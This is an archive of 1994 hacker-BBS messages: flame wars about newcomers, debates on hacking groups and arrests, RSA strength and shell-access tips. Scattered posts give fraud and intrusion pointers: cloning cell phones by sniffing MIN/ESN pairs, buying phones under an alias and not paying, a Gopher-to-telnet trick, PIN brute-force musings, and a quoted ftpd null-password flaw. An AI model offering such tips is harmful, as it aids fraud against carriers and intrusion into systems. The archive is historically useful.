And as for your whining about me not helping you, go right ahead and keep
|
|
whining. Nobody I ever have known throughout the years has ever sat on a
|
|
BBS/#hack and whined and pissed and moaned about noone helping them to
|
|
"hack" etc... Maybe that's why today we have clueless rejects and the
|
|
"old time bastards". The old timers refuse to pander to a group of
|
|
weenies that read alt.2600, hang out on #hack and beg for information when
|
|
they can go out and get it for themselves, read and learn.
|
|
|
|
But no. They would rather sit on their DOS peecee and call BBS systems
|
|
that require stupid tests to see if they know the "proper" groups for
|
|
3l33t access. They expect a vast section of knowledge to be handed down
|
|
to them on a golden platter...ie, "How do I hack this...". When you tell
|
|
them to read the RFC, the books, the texts, even the friggin man pages
|
|
they go ballistic. "Hey, thats not cool youre being a jerk." Heh, maybe,
|
|
but thats the way we learned and believe me, it works.
|
|
|
|
But you dont want to hear this. So flame away, I really do find it
|
|
amusing. Although I have talked to a few here that actually have a clue..
|
|
|
|
Cosmos
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|
|
|
From promethe@yabbs Fri Apr 8 20:43:36 1994
|
|
From: promethe@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: re: #hack on irc! (yuck)
|
|
Date: Fri Apr 8 20:43:36 1994
|
|
|
|
the flamming is over...
|
|
|
|
the only thing is that if you can't help don't
|
|
try to show you know it all. Telling me to
|
|
learn C and Unix has nothing to do with what I
|
|
asked.
|
|
|
|
It's like asking for apples and getting oranges. I
|
|
asked about net protocols... but i guess you
|
|
got confused. I know C and i'm learning Unix
|
|
everyday, and I don't need someone trying to
|
|
find out if I do or not know some stuff.
|
|
|
|
The message: don't open your mouth if you can't
|
|
help or make the situation worse.
|
|
|
|
voidly,
|
|
prometheus
|
|
|
|
From dialtone@yabbs Sat Apr 9 00:41:18 1994
|
|
From: dialtone@yabbs
|
|
To: promethe@yabbs
|
|
Subject: re: #hack on irc! (yuck)
|
|
Date: Sat Apr 9 00:41:18 1994
|
|
|
|
Give me a break and go somewhere else with this complaining...The main
|
|
part of being a hacker is exploring on your own after you have the general
|
|
knowledge...(I.E reading anything you can get your hands on) Don't just
|
|
learn unix,vax,dec....read system operations and be creative to exploit
|
|
the flaws.......If someone held your hand then YOU wouldn't be hacking...
|
|
Do you really think anyone is going to risk going to jail just so they can
|
|
say....I teach people to hack you honor doesn't that count for somthing?
|
|
geeze go cry someplace else.....Take the bull by the horns and hack
|
|
it...Never mind......I'm not going to sit here and give a ethics lesson to
|
|
a 10 year old...
|
|
|
|
|
|
From tknight@yabbs Sat Apr 9 11:47:37 1994
|
|
From: tknight@yabbs
|
|
To: Dprogram@yabbs
|
|
Subject: re: red ...
|
|
Date: Sat Apr 9 11:47:37 1994
|
|
|
|
thats bull. My non memory tone dialer fools operators all the time. I have
|
|
practiced alot though.
|
|
Tobias Knighgt
|
|
i meant tobias knight(no backspace)
|
|
|
|
From tknight@yabbs Sat Apr 9 12:01:57 1994
|
|
From: tknight@yabbs
|
|
To: feotus@yabbs
|
|
Subject: re: ohmygosh
|
|
Date: Sat Apr 9 12:01:57 1994
|
|
|
|
yes, the call boxes due have esn's and the whole bit. This scam was un by
|
|
some guys in L.A. for a while and it took the cops forever tocatch them(5
|
|
years). Another question, I have the cash,I want a cell phone, I dont
|
|
want a service agrement(i have my own calling plan :) ) I dont want to
|
|
spend 400 bux to get one without it. The fences around here are stupid as
|
|
fuck and dont even stock them,any advice?
|
|
Tobias Knight
|
|
|
|
From tknight@yabbs Sat Apr 9 12:03:44 1994
|
|
From: tknight@yabbs
|
|
To: Angstrom@yabbs
|
|
Subject: re: bbs...
|
|
Date: Sat Apr 9 12:03:44 1994
|
|
|
|
Underground eXperts United.
|
|
cool mag,kinda a like a foreign cDc.
|
|
|
|
Tobias Knight
|
|
|
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|
|
From tknight@yabbs Sat Apr 9 12:10:17 1994
|
|
From: tknight@yabbs
|
|
To: all@yabbs
|
|
Subject: re: bbs...
|
|
Date: Sat Apr 9 12:10:17 1994
|
|
|
|
oh joy of joys, I have a question.
|
|
|
|
IF you dont know what i'm talking about go back to sleep.(Cosmos you can
|
|
wake up now,its a real question) Does anyone know anything about the MARK
|
|
system? i've gotten into one but i dont know much about it. I've dug
|
|
through all my lodtj's and phracks,nia's etc..but no luck. anyone have any
|
|
information about this type of system?
|
|
|
|
Tobias Knight
|
|
|
|
From cosmos@yabbs Sat Apr 9 14:20:28 1994
|
|
From: cosmos@yabbs
|
|
To: dialtone@yabbs
|
|
Subject: re: #hack on irc! (yuck)
|
|
Date: Sat Apr 9 14:20:28 1994
|
|
|
|
|
|
Heh, and I didnt even have to say it this time...
|
|
|
|
Cosmos
|
|
|
|
From feotus@yabbs Sat Apr 9 18:27:38 1994
|
|
From: feotus@yabbs
|
|
To: all@yabbs
|
|
Subject: harhar
|
|
Date: Sat Apr 9 18:27:38 1994
|
|
|
|
Hmmm, a little post to tie up some ends
|
|
|
|
|
|
|
|
cellphones: well what you could do is go to like your mall or something
|
|
and usually there is at least one little stand or store that is trying to
|
|
sell cell phones and they will attempt to sell you the acces. All you
|
|
have to do is buy the phone and then when they go to sell the acces to
|
|
you, or when they say you have to have it activated thru them, either just
|
|
tell them NO, or sign the papers and never use it, that way later on you
|
|
just don't pay it and after awhile you can star playing with that new
|
|
cellphone. Hee this one bar near here was actually giving them away on
|
|
St. Pattys day to whoever dressed the most liek alephrachaun. Another
|
|
thing,depnding on size of town is to go to a wholesaler or something liek
|
|
that.
|
|
|
|
|
|
#hack: ohmygosh. You can pick up sooooo much stuff from there, just like
|
|
alt.2600, I swear I see at least five scripts a day that let you take over
|
|
Internet, all youhave to do is eecute them on your account. I swear, Im
|
|
not lying, would a hacker ever bullshit anyone?
|
|
|
|
|
|
sidenote: Look in a bookstore for this book called _Cyberia_ it's like
|
|
another culture book about cyberspace and it has the fuckin funniest part
|
|
on hackers in it. The hackers totally pull the guys leg and start telling
|
|
how they fight with TRW tiger teams for the control of the govt systems
|
|
and how they have their notes sunk a few miles off the Atlantic shelf and
|
|
they have people who can get them for them 8) I ws laffing forever after
|
|
that one.
|
|
|
|
Promethe: well if you want to learn Inet tprotocals there is a good
|
|
primer for TCP/IP in a old phrack, as well as n various FYIs at Internic
|
|
and other places, such as rtfm.mit.edu. Read RFCs FOR REAL, jsut dont say
|
|
you read them, cause if you really did read them you wouldnt have to ask
|
|
about protocols, since almost every single protocol ont he net has a RFC
|
|
for it.
|
|
|
|
From uufnord@yabbs Sun Apr 10 01:57:20 1994
|
|
From: uufnord@yabbs
|
|
To: all@yabbs
|
|
Subject: Get a Good Job
|
|
Date: Sun Apr 10 01:57:20 1994
|
|
|
|
|
|
All y'all hackin' dope smokin' varmints a-comin' up from the dell is 'bout
|
|
five to nine seven and still goin'. All y'all hackin' and sellin' dope is
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what all y'all live fer. Cain't see no future outisde of 'em, cain't live
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at all wiffout them thar hackin' and smokin' dope.
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Think I go and watch me some porno giffies.
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From johndeer@yabbs Sun Apr 10 14:17:18 1994
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From: johndeer@yabbs
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To: all@yabbs
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Subject: stuff
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Date: Sun Apr 10 14:17:18 1994
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Magstipe readers at grocery stores:
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it appears as if most of them ARE connected centrally to a computer
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onsite. since the registers usually are (to perform matchups between UPC
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and price) and teh credit card thingies are connected to the register, it
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wouldn't be that hard. i'm sure the verify is performed like they are for
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ordinary verifones. perhaps the grocery storetems are smart enough to
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"batch process" verifies if more than one is sent at a time.
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the new thing they have, at least in the Wash. DC area, is SCAN, which is
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teh "shared check authorization network".. this device reads the numbers
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on the bottom of a check (which is NOT OCR, but instead, MICR) and dials
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up a database run by the SCAN company that performs a verify.. they
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interface with most POS register systems as well..
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one thing i've always been thinking about is cracking the PIN on
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atm/credit cards. yes, i know they're encrypted, but almost all pins are
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4 digits, which leaves only 10,000 possibilities. if I had a magstripe
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reader interface to a computer, and a copy of the encryption algorithm
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(which must be semi-public, for these multitudes of POS devices to perform
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checks), I could crack it on a computer in minimal time..
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cell fones on the freeway:
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there was a thread in telecom digest a while back, but as I recall the
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devices are low-power (well, i guess all cell-fones are) and they recharge
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daily witha solar panel on the top of the box. i wouldn't recommend
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snagging them, as i'm sure they're stripped down, custom models, which
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don't have any features at all. probably not even a keypad.
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john Deere
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From cosmos@yabbs Sun Apr 10 16:11:50 1994
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From: cosmos@yabbs
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To: johndeer@yabbs
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Subject: re: stuff
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Date: Sun Apr 10 16:11:50 1994
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Sigh....
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Post that to alt.2600
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Cosmos
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From promethe@yabbs Sun Apr 10 19:22:03 1994
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From: promethe@yabbs
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To: all@yabbs
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Subject: re: stuff
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Date: Sun Apr 10 19:22:03 1994
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Salutations,
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thanks feotus... i really do read them.. but from now on
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i guess i'll go deeper into them.
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dialtone, if you don't understand the problem don't try to
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solve it. I asked about net protocols and cosmos comes with
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weirdest idea about reading books about c and unix. Did he
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ever ask if I knew any of those?
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cosmos, i remember a quote: "The greatest of a person is not
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on how much it has but in how much it can give others.[A
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(not greatest but greatness)
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as I said previously the flamming is over.
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with profound love,
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prometheus
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*hate flames*
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From feotus@yabbs Sun Apr 10 22:46:10 1994
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From: feotus@yabbs
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To: promethe@yabbs
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Subject: greatness
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Date: Sun Apr 10 22:46:10 1994
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since when has anyone in this forum ever expressed aspirations to achieve
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greatness?
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if you learn some unix than the protocols would come much quicker, as well
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as C. It's all linked together.
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cos - should we just take any informative post to alt.2600? They do seem
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to have a lack of them. But otherwise I see no reason to bother. your
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funny.
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From ButtrBoy@yabbs Mon Apr 11 11:04:45 1994
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From: ButtrBoy@yabbs
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To: all@yabbs
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Subject: Group.
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Date: Mon Apr 11 11:04:45 1994
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All hack groups are bad luck. Bad karma. Bound to get in trouble,
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even if nothing happens. They'll just stick you with a conspiracy
|
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charge, don't need evidence of your wrongdoing; by dint of
|
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your affiliation with a group, you're guilty.
|
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ex. Phiber Optik. Mingle a little, but don't push your luck
|
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hacking as part of a group. Bad news.
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From htoaster@yabbs Mon Apr 11 11:11:29 1994
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From: htoaster@yabbs
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To: ButtrBoy@yabbs
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Subject: re: Group.
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Date: Mon Apr 11 11:11:29 1994
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i'd tend to agree with butterboy...you can always hang out w/ others who hack,
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but don't give yourself a group name or any of that shit, and don't let
|
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anyone know that you hack together...its easy to get caught, and being in
|
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a group makes it easier...
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better yet, if you want to learn, don't learn hacking. get yourself a unix
|
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account (hey, their cheap...$20/month isn't bad and is realizable in a ton
|
|
of places)...learn the system...program neat stuff...i learned a whole lot
|
|
more writing yabbs than i ever learned breaking into systems...
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alex
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From cosmos@yabbs Mon Apr 11 11:46:58 1994
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From: cosmos@yabbs
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To: htoaster@yabbs
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Subject: re: Group.
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Date: Mon Apr 11 11:46:58 1994
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Yep. Listen to HT. Groups are a bad idea. As for the hacking bit, I
|
|
really don't care who is running around doing what. Hell, I just can't
|
|
stand the state of the "modern" cracker. What ever happened to exploring
|
|
and learning on ones own intuition??
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|
It's like feeding time at the zoo...gimme gimme gimme.
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Cosmos
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From promethe@yabbs Mon Apr 11 13:29:52 1994
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From: promethe@yabbs
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To: arachnoi@yabbs
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Subject: re: #hack on irc! (yuck)
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Date: Mon Apr 11 13:29:52 1994
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I appreciate a lot your post... thanks for info...
|
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I was beginning to think everyone was nuts but
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now I can see a clear picture.. thx thx thx
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pro
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From Fastjack@yabbs Mon Apr 11 13:59:59 1994
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From: Fastjack@yabbs
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To: htoaster@yabbs
|
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Subject: re: Group.
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Date: Mon Apr 11 13:59:59 1994
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yIn message re: Group., htoaster said:
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> i'd tend to agree with butterboy...you can always hang out w/ others who hack,
|
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> but don't give yourself a group name or any of that shit, and don't let
|
|
> anyone know that you hack together...its easy to get caught, and being in
|
|
> a group makes it easier...
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>
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> better yet, if you want to learn, don't learn hacking. get yourself a unix
|
|
^^^^^^^^^
|
|
Don't you mean cracking? Hate to be picky, but I consider myself a
|
|
hacker; someone who understands the system that they are on thoroughly--
|
|
whether they are breaking into the system or securing it is irrelevant.
|
|
Contrast this with most of the 'gimme-gimme' guys as cosmos says-- they
|
|
don't want to learn, they just want power and bragging rights.
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|
|
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> account (hey, their cheap...$20/month isn't bad and is realizable in a ton
|
|
> of places)...learn the system...program neat stuff...i learned a whole lot
|
|
> more writing yabbs than i ever learned breaking into systems...
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|
And I learned a whole lot more about security when I broke into
|
|
systems, and a whole lot more anout breaking into systems when I was
|
|
securing them....:)
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:FJ
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From feotus@yabbs Tue Apr 12 21:42:04 1994
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From: feotus@yabbs
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To: all@yabbs
|
|
Subject: re: Group.
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Date: Tue Apr 12 21:42:04 1994
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Groups arent that bad as long sa you realize that you dont even tell them
|
|
about the real shit you do. I mean it's cool to have poele to esily trade
|
|
with alot, but as far as ever actually going into places etc.. I usually
|
|
keep it to me myself and I. tho I have three freinds, whch started out as
|
|
a group, who I would share alot of stuff withh, but I trust them mroe than
|
|
I would ever trust anyone else, but that's still not enough to let them
|
|
know my real name etc..
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|
|
I learned more from setting up Linux on a few systems and installing the
|
|
networking software and programming ont hem than I did the whole time I
|
|
was just a newbie cracker stealing passwd files and running Cjack ont hem
|
|
like a lamer. Then after getting a base you start picking stuff up alot
|
|
faster. I must admit tho, tha majority of new crack/hackers that I ever
|
|
run into today are sipmply wannabes who want you to hand it all to them on
|
|
a fuckin chrome platter.
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|
|
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|
|
From dialtone@yabbs Wed Apr 13 04:55:36 1994
|
|
From: dialtone@yabbs
|
|
To: all@yabbs
|
|
Subject: re: Group.
|
|
Date: Wed Apr 13 04:55:36 1994
|
|
|
|
I cant understand the mentality.... To be a hacker is to first and
|
|
foremost to be stealthy.... If you belong to a group then you only become
|
|
more popular...you dont think people take notice...but...not only do they
|
|
notice but they take note...and when the bust comes down hackers will
|
|
turn in their fellow group members like its going outa style...I have seen
|
|
it first hand!....
|
|
|
|
Promethe....You really dont understand...Why make yourself look lame...Go
|
|
out and get the information...Everyone else does!...jeeze they even gave
|
|
you the places to look...(Forget it ... This is not a war board)
|
|
|
|
Has anyone heard if their will be a summercon this year?
|
|
|
|
From gigi@yabbs Wed Apr 13 08:34:03 1994
|
|
From: gigi@yabbs
|
|
To: all@yabbs
|
|
Subject: my calender speaks
|
|
Date: Wed Apr 13 08:34:03 1994
|
|
|
|
"many of life's failures are people who did not realize how close they
|
|
were to success when they gave up."
|
|
q
|
|
|
|
From feotus@yabbs Wed Apr 13 14:12:28 1994
|
|
From: feotus@yabbs
|
|
To: all@yabbs
|
|
Subject: hnnmm
|
|
Date: Wed Apr 13 14:12:28 1994
|
|
|
|
Dialtone - most groups will turn each other in, but with the people that I
|
|
would trust they won't. Why do I know this? Because there was a bust and
|
|
said persons didnt squeel on the others. they could have easily done so,
|
|
but they didnt. Sure most groups you see out there get too big for there
|
|
too be any trust like this, but a small tight group is the best you can
|
|
get. you get trust and resources. you can do some awesome shit if
|
|
everyone does their part.
|
|
|
|
|
|
From Skywise@yabbs Wed Apr 13 17:56:15 1994
|
|
From: Skywise@yabbs
|
|
To: dialtone@yabbs
|
|
Subject: re: Group.
|
|
Date: Wed Apr 13 17:56:15 1994
|
|
|
|
Summercon. Heh. Funny joke you stealthy hacker you.
|
|
|
|
From Skywise@yabbs Wed Apr 13 17:59:54 1994
|
|
From: Skywise@yabbs
|
|
To: feotus@yabbs
|
|
Subject: re: hnnmm
|
|
Date: Wed Apr 13 17:59:54 1994
|
|
|
|
What about a triad stuctured group? I have heard that no matter how many
|
|
actual members there are in this type of group the MAXIMUM number of
|
|
members that could be busted is four. I know that it is made up of groups
|
|
of three people that work together. Anyone know how it works?
|
|
|
|
From cosmos@yabbs Wed Apr 13 20:36:40 1994
|
|
From: cosmos@yabbs
|
|
To: all@yabbs
|
|
Subject: Groups...
|
|
Date: Wed Apr 13 20:36:40 1994
|
|
|
|
|
|
I had to say this. Group "hacking" is shit. Now, I know what is gonna
|
|
storm in after the masses read this..."but what about LOD/MOD
|
|
achievments", they were so k00l. People, groups are childish. System
|
|
exploration is one thing, but hacking groups are so pathetic.
|
|
|
|
Yeah, yeah, yeah...I know. I am just a conceited old school bastard who
|
|
doesnt hand out free tips to the kiddies.
|
|
|
|
Cosmos
|
|
|
|
From dialtone@yabbs Thu Apr 14 00:24:24 1994
|
|
From: dialtone@yabbs
|
|
To: all@yabbs
|
|
Subject: <no title>
|
|
Date: Thu Apr 14 00:24:24 1994
|
|
|
|
OK.....tightly webbed groups......friends in the same city same
|
|
area....(i.e you can storm a site and actually have someone to lookout for
|
|
ya....) but you still dont understand......I have never seen any group
|
|
that was so tightly webbed that they didnt BRAG.......When you get to be a
|
|
certain age (the age where you can serve time) you'll live under this same
|
|
mentality....Ya see they dont give a shit weather or not you directly done
|
|
anything....they just storm your house (with lots of agents (and many
|
|
cars)) and take all your STUFF.....the game some of us played when we
|
|
where younger is no longer a game.....But hey there your friends (and
|
|
you'll see how goood when the buck stops) For myself....I trust NO ONE!
|
|
Maybe thats sounds over paranoid but...I'll visit you in the pen okay!
|
|
|
|
I didn't really expect a reply to the summmer con thing...(If I was
|
|
curious where any next meets were I can assure you I wouldn't ask here)
|
|
Sooo Stealthy...
|
|
|
|
From Quetzal@yabbs Sat Apr 16 16:43:11 1994
|
|
From: Quetzal@yabbs
|
|
To: dialtone@yabbs
|
|
Subject: re: <no title>
|
|
Date: Sat Apr 16 16:43:11 1994
|
|
|
|
Cosmo is definitly right! groups are lae and they always have weak
|
|
linkit's better to hack by yourself and trade secrets, but stay
|
|
your distance.
|
|
|
|
From cosmos@yabbs Sat Apr 16 20:07:45 1994
|
|
From: cosmos@yabbs
|
|
To: Nitz@yabbs
|
|
Subject: re: FOR sale
|
|
Date: Sat Apr 16 20:07:45 1994
|
|
|
|
Listen up Nitz you pathetic fuck. First off, I can't believe you would
|
|
seriously post this shti about selling redboxes. Try alt.2600 shit for
|
|
brains. If this is a joke...take it elsewhere.
|
|
|
|
BTW, I think I might wander on down to Main street this weekend. Perhpas
|
|
Ill stop by Grogs Pizza or La Bamba's for a quick bite before I come and
|
|
buy one of your k00l redboxes and then shove it up your ass!
|
|
|
|
Cosmos
|
|
|
|
From dialtone@yabbs Sun Apr 17 03:54:04 1994
|
|
From: dialtone@yabbs
|
|
To: all@yabbs
|
|
Subject: re: FOR sale
|
|
Date: Sun Apr 17 03:54:04 1994
|
|
|
|
I missed it....You can't be serious...(Selling red box's?) It must have
|
|
been the message that is maked for deletion...Either the joke's on us or
|
|
he never came out of the 70's....
|
|
|
|
|
|
From rattler@yabbs Sun Apr 17 07:00:33 1994
|
|
From: rattler@yabbs
|
|
To: feotus@yabbs
|
|
Subject: re: sum
|
|
Date: Sun Apr 17 07:00:33 1994
|
|
|
|
this is problably gonna get a few replies, but a 1024 RSA key for
|
|
people like NSA with the right funding is like hours instead of years.
|
|
|
|
|
|
From rattler@yabbs Sun Apr 17 07:02:37 1994
|
|
From: rattler@yabbs
|
|
To: Lacey@yabbs
|
|
Subject: re: newbie question
|
|
Date: Sun Apr 17 07:02:37 1994
|
|
|
|
maybe the guy tried to make a joke ?
|
|
|
|
(it's ONLY an idea, like ?)
|
|
|
|
|
|
From feotus@yabbs Sun Apr 17 11:06:57 1994
|
|
From: feotus@yabbs
|
|
To: rattler@yabbs
|
|
Subject: rsa
|
|
Date: Sun Apr 17 11:06:57 1994
|
|
|
|
|
|
|
|
NOPE, you're wrong
|
|
|
|
it's not hours
|
|
|
|
you should now go shoot whoever told you that lie.
|
|
|
|
|
|
a 1024 bit RSA is very very secure, tho i wouldnt use it if your trying to
|
|
get anything like the life expectancy or plutonium out of it. It'll be
|
|
secure for a long long time.
|
|
|
|
|
|
try years not hours.
|
|
|
|
|
|
just think how long it took them to crack *ONE* modulous of it on a bunch
|
|
of different computers witha whole shitload of power. And then realize
|
|
that is only *ONE* modulous out aof an almost infinite amount.
|
|
|
|
|
|
try factoring some massive primes sometime, you'll see
|
|
|
|
|
|
From JasonLee@yabbs Sun Apr 17 11:54:20 1994
|
|
From: JasonLee@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: re: FOR sale
|
|
Date: Sun Apr 17 11:54:20 1994
|
|
|
|
cosmos said:
|
|
BTW, I think I might wander on down to Main street this weekend. Perhpas
|
|
Ill stop by Grogs Pizza or La Bamba's for a quick bite before I come and
|
|
buy one of your k00l redboxes and then shove it up your ass!
|
|
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
|
|
|
GIF! GIF! GIF!
|
|
|
|
JasonLee
|
|
|
|
From mephisto@yabbs Sun Apr 17 13:31:17 1994
|
|
From: mephisto@yabbs
|
|
To: feotus@yabbs
|
|
Subject: re: cellphones
|
|
Date: Sun Apr 17 13:31:17 1994
|
|
|
|
Dude, ofcourse, you see ads in the papers all the time "Free cell phone
|
|
for x", or "Win a free cell phone if you do that"... you forget to read
|
|
the fine print... you've GOT TO PAY the subscription price fo a certain #
|
|
of months... if you buy a phone w/o subscription, you're looking at a
|
|
good $600+. Yeah, you can get 'em free, but you're going to end up paying
|
|
a few hundred $ for the fucking subscription...
|
|
|
|
From Schief@yabbs Sun Apr 17 20:57:44 1994
|
|
From: Schief@yabbs
|
|
To: all@yabbs
|
|
Subject: rexd hole?
|
|
Date: Sun Apr 17 20:57:44 1994
|
|
|
|
I heard someone mention a hole involving rexd. Could someone explain this
|
|
for my benefit, since I am unfamiliar with this one...
|
|
|
|
|
|
|
|
From ButtrBoy@yabbs Mon Apr 18 01:53:37 1994
|
|
From: ButtrBoy@yabbs
|
|
To: Schief@yabbs
|
|
Subject: re: rexd hole?
|
|
Date: Mon Apr 18 01:53:37 1994
|
|
|
|
rexd? is this a daemon for a protocol i've never heard about?
|
|
on the bugtraq list there was recently a flurry over ftpd
|
|
trojans...something in the passwd checking routine (looks
|
|
like this in ftpd.c:)
|
|
#ifdef ULTRIX_AUTH
|
|
if ((numfails = ultrix_check_pass(passwd, xpasswd)) < 0) {
|
|
#else
|
|
/* The strcmp does not catch null passwords! */
|
|
if (pw == NULL || *pw->pw_passwd == '\0' ||
|
|
strcmp(xpasswd, pw->pw_passwd)) {
|
|
#endif
|
|
reply(530, "Login incorrect.");
|
|
All ftpd versions 2.2 and before are insecure, wu-ftpd 2.3 is
|
|
the new patched version. The above snatch of src is from the
|
|
earlier version...
|
|
|
|
From dmonger@yabbs Mon Apr 18 11:03:35 1994
|
|
From: dmonger@yabbs
|
|
To: feotus@yabbs
|
|
Subject: re: rsa
|
|
Date: Mon Apr 18 11:03:35 1994
|
|
|
|
had a discussion about this with a couple of friends of mine once.
|
|
|
|
the key is dedicated hardware. Crays are cool, but there's too much
|
|
overhead. Why bother tho .... XILINX are your friends and i'm sure you
|
|
could write a dedicated decrypter to run really, really fast.
|
|
|
|
-peter
|
|
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|
|
From cosmos@yabbs Mon Apr 18 11:24:06 1994
|
|
From: cosmos@yabbs
|
|
To: Schief@yabbs
|
|
Subject: re: rexd hole?
|
|
Date: Mon Apr 18 11:24:06 1994
|
|
|
|
Trying to catch up eh??
|
|
|
|
Cosmos
|
|
|
|
From feotus@yabbs Tue Apr 19 21:02:00 1994
|
|
From: feotus@yabbs
|
|
To: mephisto@yabbs
|
|
Subject: re: cellphones
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Date: Tue Apr 19 21:02:00 1994
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yes I know you have to pay the activation etc.. that is why I included the
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part about buying them under an alias. So you pay cash, like 69 dollars
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for the radio shack model of this deal(ACK) and then walk away to never be
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seen again. they ty to trace down your alias with no luck. You now have
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a cellphone, BUT either od it in a town far away, OR know how to repburn
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the ESN and otehr assorted info you'll need.
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From dialtone@yabbs Wed Apr 20 18:21:41 1994
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From: dialtone@yabbs
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To: all@yabbs
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Subject: re: cellphones
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Date: Wed Apr 20 18:21:41 1994
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Why are we even talking about this??????
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--------------------------------------
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several years ago this stuff has been exploited, used, abused etc..
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People (drug dealers) would run one phone with a multible esn switch so
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all they had to do was just switch over to the next esn when to abused
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just by hitting a switch this would also throw off the cell in tracking.
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I`m sorry but this is old reading but yet it still is news for some
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reason? just go over to the local radio shack and get thier book on cell
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phone tech. and be done with it.
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From feotus@yabbs Fri Apr 22 19:57:31 1994
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From: feotus@yabbs
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To: dialtone@yabbs
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Subject: re: cellphones
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Date: Fri Apr 22 19:57:31 1994
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well aparently you didnt do it ever 8)
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you also need to make sure that youhave a valid MIN/ESN combo. So you
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don't just switch the ESN. You have to vampiore other ESSN/MIN combos
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that are valid and switch among them.
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also the Rad Shack books are not as close to as informative as the
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manufacturers technical manual.
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if you just switch ESN then youwont get thru, since when you transmit to
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the cell-0base you transmit the MIN and the ESN which are compared as a
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pair to the ones on record and must be valid together. Now the thing is
|
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you can pick up other phones MIN/ESN combos as they tranmit to tower if
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you have a scanner, or suitably modified cellphone.
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From dialtone@yabbs Sat Apr 23 04:09:10 1994
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From: dialtone@yabbs
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To: feotus@yabbs
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Subject: re: cellphones
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Date: Sat Apr 23 04:09:10 1994
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Look I know about the min/esn combo and about scanning!!!!!
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I was refering to the time's of ole when cellular was under the
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IMTS/AFSK system .... (i.e you didnt need the esn/min combo that was
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registered with the person or manufacturer whom you got it from!)
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As for the book from radio shack well I was also refering to thier one on
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basic switching (it covers cellular and principles)
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Thanks for the reply thou (its nice to still see someone reads out thier)
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8)
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From charta@yabbs Sat Apr 23 08:19:37 1994
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From: charta@yabbs
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To: all@yabbs
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Subject: Gopher to Unix
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Date: Sat Apr 23 08:19:37 1994
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I've a little problem. I have access to a Gopher but no access to a Unix
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system, so I can't use FTP or telnet. Are there any way to get a free,
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legal account on Internet, which I can access via the Gopher..?
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From Jeremiah@yabbs Sat Apr 23 14:27:38 1994
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From: Jeremiah@yabbs
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To: dialtone@yabbs
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Subject: I do believe.
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Date: Sat Apr 23 14:27:38 1994
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I have the text on my friends computer.... I'll try to dig it up for
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|
ya...
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From cosmos@yabbs Sat Apr 23 14:39:59 1994
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From: cosmos@yabbs
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To: charta@yabbs
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Subject: re: Gopher to Unix
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Date: Sat Apr 23 14:39:59 1994
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Fuck gopher.
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Look for a public access site close to your city or try one of them
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freenet thingies...hell, anythings better than gopher.
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Cosmos
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From Zbadba@yabbs Sat Apr 23 19:24:20 1994
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From: Zbadba@yabbs
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To: charta@yabbs
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Subject: re: Gopher to Unix
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Date: Sat Apr 23 19:24:20 1994
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|
Most systems have patched this, but....
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Try doing a veronica search for the string "telnet and session and host"
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it should give you what is apparently a search query. then enter the
|
|
hostname in that box, and there you go. telnet.
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|
|
Most places have fixed that by now, tho.
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From Fastjack@yabbs Sun Apr 24 01:20:04 1994
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From: Fastjack@yabbs
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To: cosmos@yabbs
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Subject: re: Gopher to Unix
|
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Date: Sun Apr 24 01:20:04 1994
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In message re: Gopher to Unix, cosmos said:
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> Look for a public access site close to your city or try one of them
|
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> freenet thingies...hell, anythings better than gopher.
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Are you kidding? I mean, yeah, it's free, but have you tried any
|
|
recently? I know from my dealings on this board previously that I have
|
|
access on a lotbetter system than most, and I guess I'm spoiled with access.
|
|
But the only thing you can really do on a freenet is mail, gopher, that sort
|
|
of thing. You should look for a site where you can get Unix shell access,
|
|
access to a compiler, that sort of thing. Look for $15-$20/month, flat fee.
|
|
I haven't seen a freenet that lets you do a goddamn thing. But you get what
|
|
you pay for...:)
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:FJ
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From dialtone@yabbs Sun Apr 24 12:23:40 1994
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From: dialtone@yabbs
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To: Jeremiah@yabbs
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Subject: re: I do believe.
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Date: Sun Apr 24 12:23:40 1994
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Thanks.....
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From GPF@yabbs Sun Apr 24 20:05:58 1994
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From: GPF@yabbs
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To: Fastjack@yabbs
|
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Subject: re: Gopher to Unix
|
|
Date: Sun Apr 24 20:05:58 1994
|
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|
|
actually..... try cyberspace.org instant shell access.. no validation
|
|
c compiler too :)
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|
From Phain@yabbs Tue Apr 26 23:10:49 1994
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From: Phain@yabbs
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|
To: all@yabbs
|
|
Subject: credit verification
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|
Date: Tue Apr 26 23:10:49 1994
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|
|
|
Greets all,
|
|
The other day, I slotted my credit card at the local BP station.
|
|
While I was waiting, I heard the distinct dialup sound of a modem and
|
|
the telltale fuzz of information running across the line. There was no
|
|
one in line behind me, and the guy didn't seem in a rush, so I asked
|
|
him if there was a phone line running into his card verification device.
|
|
He let me get a good look at it. Later that evening I returned with a
|
|
tape recorder and talked the guy into letting me get a recording of the
|
|
tones. I have not yet tried to use my recording, but was curious if
|
|
anyone out there had fooled with this sort of thing before. The H/P croud
|
|
around here had never heard of anyone experimenting with this before.
|
|
Lata,
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|
Phain.
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|
From Zakfeign@yabbs Wed Apr 27 09:33:51 1994
|
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From: Zakfeign@yabbs
|
|
To: charta@yabbs
|
|
Subject: re: Gopher to Unix
|
|
Date: Wed Apr 27 09:33:51 1994
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|
|
try getting an accnt. at a university... it would help to be enrollled!
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From Skywise@yabbs Wed Apr 27 10:19:44 1994
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|
From: Skywise@yabbs
|
|
To: Phain@yabbs
|
|
Subject: re: credit verification
|
|
Date: Wed Apr 27 10:19:44 1994
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|
|
You are Beavis!!!!!!!
|
|
(profound isn't it?)
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|
From Quetzal@yabbs Wed Apr 27 18:35:09 1994
|
|
From: Quetzal@yabbs
|
|
To: Phain@yabbs
|
|
Subject: re: credit verification
|
|
Date: Wed Apr 27 18:35:09 1994
|
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|
|
I to have wondered about credit verification or veriphones system...
|
|
if you look at the back of the machine you'll notice a 9pin din plug
|
|
connecter... if you have the right configuration on yor computer you may
|
|
be able to hook you computer directly in the a backing system!?
|
|
--------------------------------------banking----^ but that's only a
|
|
theory
|
|
Quetzal
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From charta@yabbs Thu Apr 28 07:50:03 1994
|
|
From: charta@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: re: Gopher to Unix
|
|
Date: Thu Apr 28 07:50:03 1994
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|
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|
|
I live in Sweden and we have no public access sites, fuck!
|
|
I've been on the net illegal, but I don't dare it anymore, to many people
|
|
getting busted. I don't know if my use of the Gopherserver is illegal, but
|
|
I hope it isn't.
|
|
|
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|
|
From Roosevel@yabbs Fri Apr 29 22:19:42 1994
|
|
From: Roosevel@yabbs
|
|
To: Phain@yabbs
|
|
Subject: re: credit verification
|
|
